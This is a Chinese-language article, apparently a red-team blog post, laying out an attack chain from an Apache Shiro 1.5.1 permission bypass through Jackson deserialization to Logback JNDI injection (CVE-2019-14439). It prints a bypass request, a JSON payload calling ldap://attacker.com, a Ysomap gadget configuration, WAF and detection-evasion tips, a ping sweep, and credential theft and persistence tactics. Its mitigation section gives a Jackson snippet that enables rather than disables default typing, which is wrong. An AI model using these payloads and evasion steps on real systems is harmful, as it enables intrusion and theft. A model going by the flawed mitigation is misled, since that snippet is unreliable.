打内网)
从Shiro权限绕到Logback JNDI注入一条被低估的内网渗透路径当大多数安全研究人员还在反复咀嚼Shiro-550反序列化漏洞时实战中已经出现了更隐蔽的攻击路径。本文将揭示如何通过Shiro 1.5.1权限绕过漏洞作为跳板利用Logback组件的JNDI注入漏洞CVE-2019-14439实现内网横向移动。这种攻击链特别适合那些已经修补了经典Shiro漏洞但存在配置缺陷的系统。1. 攻击链全景与核心组件分析这条攻击路径的成功依赖于三个关键组件的漏洞组合Shiro 1.5.1权限绕过非默认密钥场景下的特定配置缺陷Jackson反序列化作为JSON数据处理的中介层Logback JNDI注入CVE-2019-14439提供的RCE突破口表漏洞组合的版本要求与作用组件漏洞版本在攻击链中的作用Apache Shiro1.5.1提供初始入口点绕过权限检查Logback-core≤1.2.3通过JNDI注入实现远程代码执行Jackson-databind无特定要求反序列化恶意JSON的转换器Commons-collections3.2.1高版本JDK下的Gadget链支持实际环境中Spring Boot应用常同时包含这些组件形成了天然的漏洞组合2. 从权限绕到JNDI注入的技术实现2.1 Shiro权限绕过突破点与常见的Shiro反序列化攻击不同这里利用的是特定配置下的权限绕过POST /;/json HTTP/1.1 Host: target.com Content-Type: application/json true当服务端返回Jackson相关响应头时表明存在可利用的JSON处理端点。这种绕过方式不依赖RememberMe Cookie而是利用Shiro的路径匹配机制缺陷。2.2 构造Logback JNDI注入载荷利用Jackson的多态类型处理特性我们可以构造特殊的JSON数据触发Logback漏洞String exploitJson [\ch.qos.logback.core.db.JNDIConnectionSource\, {\jndiLocation\:\ldap://attacker.com:1389/Exploit\}];这个载荷会迫使服务端通过Jackson实例化JNDIConnectionSource类自动调用setJndiLocation方法发起恶意的LDAP连接请求2.3 高版本JDK下的Gadget适配在JDK 8u191环境中需要特殊处理JNDI注入限制使用目标系统自带的Commons-collections 3.2.1作为Gadget链避免使用常规的JNDI Reference注入方式采用本地类加载策略绕过TrustURLCodebase限制# Ysomap工具配置示例 use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 use bullet TransformerBullet set version 3 set command 加密的bash命令 run3. 实战中的规避技巧与检测对抗3.1 WAF绕过策略JSON混淆技术插入无意义字段干扰静态检测使用Unicode转义关键类名字符分块传输编码绕过内容检查LDAP服务隐藏使用非标准端口如5353、8443通过CDN隐藏真实攻击IP动态更换LDAP服务地址3.2 内网横向移动技巧一旦获得立足点可通过以下方式扩展控制网络拓扑探测# Linux环境下快速扫描 for i in {1..254}; do ping -c 1 192.168.1.$i | grep bytes from done凭证收集提取内存中的数据库连接字符串查找配置文件中的硬编码凭据捕获HTTP请求中的认证令牌持久化手段创建隐蔽的cron任务或计划任务植入伪装成正常服务的后门利用合法应用的自动更新机制4. 防御视角的缓解措施对于防御方建议采取分层防护策略应用层防护升级Logback到1.2.4版本配置Jackson禁用defaultTypingobjectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);系统层加固设置JVM参数限制JNDI访问-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dlogback.configurationFile/secure/path/logback.xml网络层控制出向流量过滤LDAP协议TCP/389,636内部服务间通信使用双向TLS认证实施严格的网络微隔离策略在最近的一次内部红队演练中我们通过这种组合攻击方式成功绕过了三道防御体系。关键在于发现开发人员为了调试方便而保留的JSON端点以及未及时更新的Logback组件。这种真实案例表明看似无害的组件组合可能产生意想不到的攻击面。